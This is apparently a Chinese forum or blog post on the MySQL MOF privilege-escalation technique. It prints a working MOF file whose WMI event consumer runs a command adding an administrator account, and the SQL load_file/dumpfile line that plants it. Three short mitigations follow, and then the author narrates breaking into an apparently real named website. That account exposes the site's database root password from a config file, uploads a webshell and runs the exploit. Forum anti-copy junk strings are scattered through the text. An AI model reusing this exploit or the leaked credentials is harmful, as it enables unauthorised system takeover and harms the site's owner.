Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法
, b- U% k8 E5 n' K4 R) N. i; \
" T: t% j5 C' U* ?4 Z网上公开的一些利用代码:
0 y7 C, Y$ U! o9 C
#pragma namespace(“\\\\.\\root\\subscription”)
: Q4 T& K1 Y8 p
$ t2 g+ Z) q" N% s( E1 c$ Jinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

; P( i6 d/ s! ?' ]% V% c1 L

% x/ n1 n( f; W$ I9 g  X
, l, ~% s$ _9 u# ?  k
连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：

+ c' g1 z" Z2 J4 L0 a" g0 f2 }7 p1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

& O' E. u) _; d" `2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

: z' f1 T0 H) y' `. U当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
& r' _7 S+ p7 u% Q2 {% i/ z9 C
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
4 r( ?# p0 p! X  N1 E2 r( c
看懂了后就开始练手吧
- x; b$ {% R7 c$ a8 d$ I; M0 m8 W
! e3 w( c7 G! Vhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
$ J: ~$ }$ t- k6 J
- @" h! X3 a! C' F* v$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
5 G2 U1 p( k1 T, ~( M
于是直接用菜刀开搞
+ \6 ~  s. w6 b; i$ h, N) z
上马先

4 z" a9 J5 B0 }( W. Y+ q: B& M3 @4 k/ `既然有了那些账号 之类的 于是我们就执行吧…….

. u6 d1 G; Q# @0 h: T' o小小的说下

( \5 N6 b8 v5 k) N9 `# h. l' s  B在这里第1次执行未成功        原因未知

我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

#pragma namespace(“\\\\.\\root\\subscription”)
4 [/ O4 h& l* H1 t; R! D
* t3 d9 ~" |, I+ n) binstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

我是将文件放到C:\WINDOWS\temp\1.mof

  s! x2 ~/ o3 @& ?( |7 m. [; @所以我们就改下执行的代码

- l* n' @, N; Q. }' Hselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
, `: n* g# `5 z+ g- i
& a4 J  u/ v1 ]# Q+ p7 w8 B

但是 你会发现账号还是没有躺在那里。。
+ T1 `) L4 i- g- u3 T3 k7 r# h
于是我就感觉蛋疼

& O9 Y  |! Y$ b4 {, R6 w+ |( R' G就去一个一个去执行 但是执行到第2个 mysql时就成功了………



- y4 U8 T9 E; h/ h& r0 x) [但是其他库均不成功…

& ], I; t7 Y3 Z$ ~我就很费解呀 到底为什么不成功求大牛解答…

  E# f6 F, }5 n( K& m) P, W3 e​